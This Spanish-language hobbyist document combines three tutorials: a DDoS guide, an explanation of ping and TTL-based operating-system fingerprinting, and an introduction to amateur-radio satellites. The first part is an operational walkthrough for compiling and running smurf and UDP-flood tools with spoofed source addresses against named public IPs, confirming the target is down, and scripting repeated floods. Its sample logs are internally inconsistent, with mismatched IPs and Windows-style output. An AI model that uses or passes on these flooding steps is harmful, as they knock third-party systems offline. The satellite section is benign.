D-DOS - FLOOD

Ataques: SMURF y UDP Flood..

   Bueno pues en este tutorial tratare de explicaros de manera fácil, en la que podáis entender todos; como realizar ataques SMURF y UDP Flood.


Antes que nada necesitaremos 3 cositas:
  •    1broadcast.txt (Una lista con centenas o millares de IP´s)  este es un ejemplo de una de esas listas... en la red hay muchas Webs que nos ofrecen listas de IP´s actualizadas, ya sean proxys, http, socks, boadcast, etc..
o

  •    2 - smurf.c (Programilla Exp. para  enviar paquetes ICMP a un host desde diferentes direcciones resultantes).
o

  •    3 - flooder_udp.c (Programilla Flooder. Para enviar cantidades masivas de paquetes UDPa un determinado host).
o

  Una vez bajado todos los archivos, guardalos en un mismo directorio para simplificar el proceso. Por ejemplo en linux: “ /root/ataque/ “ .
Ahora tendremos que compilar los 2 programillas.


Compilando el “smurf.c”(GNU/Linux):

  Desde la consola, con el comando CD accederemos al directorio donde guardamos el archivo smurf.c, por ejemplo:


# cd /root/ataque
#


  En “ ataque “ deberías poner la carpeta donde guardasteis los 3 archivos.

  Una vez dentro de la carpeta escribiremos en la consola:



# sudo gcc  smurf.c -o smurf
#


  Si lo has echo bien (cosa que no es muy dificil), se abra compilado el smurf. Bien... ahora pasemos a compilar el “ flooder_udp.c “.

 
Compilando el  flooder_udp.c

  El procedimiento es el mismo; me imagino que seguireis en la misma consola metido en el directorio /root/ataque/. Vale... pues:


# sudo gcc  flooder_udp.c -o  flooder_udp
#




Preparación del ataque smuf

   Para seguir el tutorial necesitaras subirte como ROOT / SUPER-USUARIO. Esto en Linux es fácil:


# sudo su
Password: TU-PASSWORD-ROOT


  vale ya eres ROOT... y aun sigues en el mismo directorio ( /root/ataque/ ). ahora ejecutaremos el “smurf”:


# ./smurf
usage: ./smurf <target> <bcast file> <num packets>
<packet delay> <packet size>


   bueno pues este sera el comando que tendreis que ejecutar, os explico detalladamente...


target = IP/Host de la victima.
Bcast file = archivo con las IP´s de broadcast
( /root/ataque/broadcast.txt ).
num packets = numero de paquetes a enviar ( 0 = flood)
packet delay = tiempo de espera entre cada paquete
( en milesimas segundo )
packet size = tamaño del paquete ( <102 )


   El comando que utilizare yo suponiendo que he hecho lo mismo que vosotros sera:

# ./smurf 209.85.229.106 broadcast.txt 0 0 1024


Atacando.

   Ahora le haremos un ping a la victima, para darnos una idea de si esta online... vamos, que si tiene el pc encendido y conectado a la red.
   Os aconsejo cambiar de victima, yo he puesto a  209.85.229.106 (www.google.com), pero no lo hagáis, aparte de que es peligroso, no conseguiréis nada de google :D.


# ping  209.85.229.106
Respuesta desde 209.85.229.106: bytes=32 tiempo=71ms
Respuesta desde 209.85.229.106: bytes=32 tiempo=71ms
Respuesta desde 209.85.229.106: bytes=32 tiempo=70ms
Respuesta desde 209.85.229.106: bytes=32 tiempo=70ms
Estadísticas de ping para 209.85.229.106:
    Paquetes: enviados = 4, recibidos = 4, perdidos = 0
    (0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
3662


  Esto nos demuestra que esta online, que el pc esta encendido y conectado a internet.... entonces ejecutemos el smurf para atacarle:


# ./smurf 209.85.229.106 broadcast.txt 0 0 1024
smurf.c v4.0 by TFreak
Flooding 200.140.161.201 (. = 25 outgoing packets)
…………………………………………………………
……………………………………………....................
…………………………………………………………


  Pasara el tiempo....y le haremos un ping a la victima:


# ping 209.85.229.106

PING 200.140.161.201 (200.140.161.201)
56(84) bytes of data..
Estadísticas de ping para 209.85.229.106
Paquetes: enviados = 5, recibidos = 0, perdidos = 100%
Tiempos aproximados de ida y vuelta en milisegundos:
3569ms


  Vale ::D, esto nos dice que la victima esta OFF,  le as tirado o ha se  ha desconectado el solo. :D felicidades.


Ahora utilizaremos el flooder

  ejecuten el flooder_udp:


# ./udp_flooder
[=] + ===========[####]============ + [=]
*** Emperial Flooder[UDP] ***
XxX VIPER CORP GROUP XxX
<-> Underground Max <->
[=] + ==========[####]============ + [=]
usage: ./flooder_udp <IP_Spoof> <Victima>
<Puerto_origen> <puerto_Destino> <msg> <num_msgs>


     El comando que utilizare yo sera:

./flooder_udp 78.128.144.44 200.140.161.201 8090 DDDDDDDDDDDDDDDD 1000000

  Un consejo: para que tengáis buenos resultados es necesario ejecutar este comando varias veces consecutivas.

   Vamos a hacerle ping a la victima:


# ping 200.140.161.201
Respuesta desde 209.85.229.106: bytes=32 tiempo=71ms
Respuesta desde 209.85.229.106: bytes=32 tiempo=71ms
Respuesta desde 209.85.229.106: bytes=32 tiempo=70ms
Respuesta desde 209.85.229.106: bytes=32 tiempo=70ms
Estadísticas de ping para 209.85.229.106:
    Paquetes: enviados = 4, recibidos = 4, perdidos = 0
    (0% perdidos),
Tiempos aproximados de ida y vuelta en mili segundos:
3662ms


  Como vemos la victima sigue en pie, ON. Pues le atacamos:


# ./flooder_udp 78.128.144.44 200.140.161.201
8090 DDDDDDDDDDDDDDDDDDDD 1000000
--Estadística del ataque--
Total de bytes enviados: [31000000]
---------------------------------------------


    Ejecutaremos el mismo comando varias veces consecutivas, hasta que te canses por ejemplo. Siempre puedes hacer un script para que te ejecute este comando varias veces mientras duermes.
  Cuando te ayas cansado vuelve a hacerle un ping a la victima:


# ping 200.140.161.201
PING 200.140.161.201 (200.140.161.201)
56(84) bytes of data.
Estadísticas de ping para 209.85.229.106:
Paquetes: enviados = 15, recibidos = 0,
perdidos = 100%
Tiempos aproximados de ida y vuelta
en mili segundos:
15222ms


  :D Ya esta, la respuesta del Ping nos dice que esta OFF, vamos que le as tirado la conexión :D.
 
Saludos.

PING


Sacando-le provecho al PING.

antes que nada... ¿que es el comando PING? y ¿para que sirve?

  El comando PING, normalmente se utiliza para determinar si una maquina se encuentra conectada a Internet o alguna otra red. Este comando puede funcionar bajo la mayoría de sistemas operativos (S.O), independientemente de la plataforma. Lo que hace es: enviar una cantidad de paquetes (denominando ICMP), haciendo que el equipo receptor nos responda con paquetes ICMP también.

  Osea que si tenemos la dirección IP/host de algún equipo conectado a la red, podremos saber en cualquier momento si este se encuentra conectado o no.

Veamos un ejemplo... una imagen vale mas que mil palabras:

Pues esta Ventana Negra se llama Shell/consola como quieras llamarle. Bueno pues ahora pasaremos a ejecutar el comando PING.
en la ventana negra escribir lo siguiente:
ping ip/host

por ejemplo, yo quiero saber si elhacker.net esta online... pues el comando seria:
ping elhacker.net

Entonces PING nos respondería con algo parecido a esto:


Lo dice muy claramente, y en español:

Envía los paquetes ICMP con 32 bytes de datos a elhacker.net que corresponde a la ip [66.118.151.58].
En total envía 4 paquetes, y elhacker.net nos respondió bien... con todos los datos. La lógica nos dice que el equipo donde esta alojado el servidor de elhacker.net se encuentra encendido y conectado a la red.

En el caso de que no sea así y el equipo este apagado o no se encuentre conectado a ninguna red nos respondería de la siguiente manera:


Ahora cambia la cosa... y también nos lo dice muy bien y en español, repasemos-lo:

Envía los paquetes ICMP con 32 bytes de datos a la dirección IP 192.73.22.4.
Solamente envía 4 paquetes, y la dirección 192.73.22.4 no nos responde a ninguna.
Está mas que claro que el equipo al que pertenece esta dirección no esta conectado a Internet o alguna red con la tuya. O simplemente este apagado... o puede que esa dirección no pertenezca a ningún equipo de la red.

Podemos notar que ademas de decirnos si el equipo se encuentra On o OFF, el comando ping también puede verificar la dirección IP de un dominio, como es el ejemplo de la figura 2. Haciendo ping a elhacker.net nos respondió con la dirección 66.118.151.58. Pues esa es  la dirección que corresponde a elhacker.net, seguramente sea de alguna empresa de hosting.

No acaba aquí. El comando ping entre otras cosas, también nos dice el sistema operativo que corresponde a una dirección IP/HOST... ¿que? ¿no lo encontráis? :)
Es bien fácil, guardaros esta tabla:

--------------------------------------------
Free/Net/OpenBsd--------------------TTL 255
Linux-------------------------------TTL 255
Windows(95/98/Nt/2000/XP/2003/Vista)TTL 128
Roteadores(Bay/Cyclades)------------TTL  30
Roteadores (Cisco)------------------TTL 255
Switches (3 com)--------------------TTL  30
Impressoras HP (JetDirect/LaserJet/)TTL  60
--------------------------------------------

:D ahora volved a fijaros en la imagen que hicimos del ping en elhacker.net:


A-veis visto? :D el TTL nos indica el S.O
pues fijaros ahora que los TLL de elhacker.net no corresponde a ninguno de nuestra tabla... nos responde con el valor de 251. y no creo que tengan un S.O distinto a algún de esta tabla.
Esto pasa, porque cuando haces el PING a un ordenador de la red, cada vez que este pasa por un segmento de la red (Router o Gateway) el mismo le resta un TTL siendo así (-1 TTL por cada segmieno de red), y asi sucessivamente hasta el destino, nosotros.
Para saber el valor real del TLL, necesitamos saber por cuantos segmentos a pasado antes de llegarnos la respuesta. Tenemos otro comando muy útil para esto, en WINDOWS es “tracert” y en Linux es “traceroute”, veamos como ejecutarlo en WINDOWS:


Como ya lo podéis ver... Seleccionado en rojo es la ruta que traza para llegar hasta elhacker.net
cada linea corresponde a un router o gateway.
Seleccionado en verde el numero 4, corresponde a cuantos segmentos se han echo. Osea que mi ping paso por 4 segmentos diferentes. Con esto solo tenemos que sumar los 251 TTL + 4 de los routeadores que hemos trazado hasta elhacker.net. Nos dara la cantidad exacta de = 255. mirando en la tabla, vemos que no corresponde a WINDOWS :D

--------------------------------------
Free/Net/OpenBsd--------------TTL 255
Linux-------------------------TTL 255
Roteadores (Cisco)------------TTL 255
--------------------------------------

Ya sabemos que seguramente sea un Linux o un OpenBsd.:) Se que hay maneras mas fáciles y sencillas de descubrir el S.O de una dirección IP... pero esta bien aprende algo siempre... algún día no tendrás nada a mano y esto te servirá.


Saludos.

Satélites


Una Introducción a los satélites

¿Sabias que existen unos satélites que nos permiten a cualquiera acceder a ellos?
  No  para hackearlos como se diría por aquíí, ni cambiar su órbita, ni ver como esta echo, sus código fuente, ni nada de eso… no soñemos tanto. Es teóricamente imposible.

 Lo que nos permiten estos satélites  son:
   -
enviar y recibir voz o información (fonía o packets).

   Es como un espejo o una antena repetidora terrestre. El satélite lo recibe y vuelve a emitir hacia la Tierra. Solo hay un canal donde se realizan todas las comunicaciones entre los aficionados que estén escuchando.  Y, las coberturas tienen limitaciones.
Todos estos satélites se mueven en órbita alrededor de la Tierra. Esto significa que no siempre están disponibles, ni mucho menos. Es más, dado que normalmente giran 5 o 6 veces la Tierra cada día el periodo de cobertura sobre España, por ejemplo, puede ser de entre 10 y 30 minutos. Los que hacen órbitas elípticas permiten ampliar este tiempo un poco más, pero su frecuencia es menor.

Como ya he dicho antes, estos satélites no se pueden dirigir, Si queréis ver algo así os aconsejo ver películas como la “hackers 2”. ¿…?

  Los geoestacionarios están inmóviles porque se han colocado (y empujado) con precisión girando al unísono con la Tierra, como los satélites de la televisión. Las parabólicas apuntan siempre hacia el ecuador, en el caso de los radioaficionados tendrían que moverse constantemente.

Los únicos equipos necesarios para realizar comunicaciones con los satélites de radioaficionados son:    
   -Un equipo VHF/UHF    
   -Una antena direccional    
   -Una licencia (se obtiene previo pago y un pequeño examen, en la 2 parte de este documento que estará en la red muy pronto os explicare paso a paso como obtener tal licencia.)


Lo más importante es saber donde se encuentran los satélites de radioaficionado en cada momento. Esto lo podemos hacer cualquiera gracias a programas como el:


o “keplerianos”. Keplerianos son parámetros que indican con dos vectores temporales la dirección, posición y altitud de un satélite en el tiempo. Teniendo los keplerianos de un satélite y el programa adecuado podrás saber donde se encuentra en cualquier momento!

Un ejemplo de elementos keplerianos, “en concreto de la estación espacial internacional” (ISS, tripulada permanentemente) que curiosamente tiene un repetidor para radioaficionados funcionando actualmente en 145.825 MHz:
ISS
1 25544U 98067A 07262.51637699 .00020000 00000-0 20000-3 0 9002
2 25544 51.6353 337.1650 0009650 22.0216 338.1362 15.76879361 25661


aquí tenéis algunos  keplerianos introducidos en el WXtrack y visualizados en tiempo real:
 
 
-los que están en línea son los geoestacionarios, como los Meteosat-.

Visitad AMSAT para estar informalmente actualizados en cuantos y cuales satélites están funcionando:
Ahí se indican con colores cuatro categorías:
•   Operacionales: Los que están operando y pueden ser usados por todos.
•   Semi-Operacionales: Son algunos que funcionan pero pueden haber      
suspendido su operación por diversos motivos, por ejemplo por estar cargando sus baterías o estar en período de pruebas.
•   No-Operacionales: Aquellos que han pasado a mejor vida. En muchos    
 casos son ampliamente extrañados por los que los usábamos a menudo, como es el caso del UO-14, AO-10 o AO-13.
•   De lanzamiento futuro: Son los que aun no nacen y que por lo general  
todos esperamos impacientemente su lanzamiento.



Para trabajar estos satélites se requiere de:

•   Primero: Debes conocer las frecuencias en donde hay que transmitir (subida al satélite) y recibir (bajada del satélite). Esto lo encuentras en www.amsat.org

•   Segundo: Hay que programar las frecuencias correspondientes en el equipo. Un ejemplo interesante al respecto es http://home.comcast.net/~sllewd/vx7rsatellite.htm

•   Tercero: Hay que saber cuándo va a pasar el satélite y por donde. Esto es lo más crítico del proceso. Es imposible hablar vía satélite si el satélite está del otro lado del mundo. Ya explique arriba como hacerlo.

•   Cuarto: Antes de querer transmitir es indispensable escuchar el satélite. Mueva tu antena en todas las direcciones, incluyendo el apuntar a la tierra, para ver si escuchas algo. Si no escuchas no transmitas, no tiene caso y seguramente perjudicarás a los demás.

•   Quinto: Si logras escuchar el satélite transmite, si estas llegando hasta él te escucharas simultáneamente en la frecuencia de bajada. Para evitar que el sonido se vicie es conveniente operar con audífonos.

•   Sexto: Es muy importante saber que los contactos en este tipo de satélites de FM son muy cortos. No hay que llamar CQ, es una pésima práctica. Lo único que se requiere es decir una vez tu indicativo, por ejemplo: “XE1KK QRZ”.
Para el comunicado por lo general se intercambiara el indicativo y el Grid Locator. Un Ejemplo de esto sería:
  XE2AT de XE1KK
  XE1KK DL81 de XE2AT
  XE2AT EK09 de XE1KK gracias!
De acuerdo a esto no se requiere dar reporte de señal, deletrear tu nombre y ubicación. Recuerda: “hay más estaciones queriendo usar el satélite y solo hay una frecuencia para todos.”

•   Séptima: Si no sale a la primera no importa hay que intentarlo nuevamente.



Si necesitáis mas información podéis visitar www.amsat.org así como en el sitio de la ARRL www.arrl.org hay infinidad de artículos, noticias y sugerencias de cómo operar un satélite. Ambas organizaciones publican además libros o revistas tales como:

•   The AMSAT Journal (AMSAT)
•   The Satellite Experimenters Handbook (ARRL)
•   The ARRL Satellite Antology (ARRL)
•   QST (ARRL)

también pueden obtener mas información de otros aficionados a los satélites. Los cuales siempre estamos deseosos de contar con mas estaciones amigas con las cuales contactar.


Saludos Terrícolas.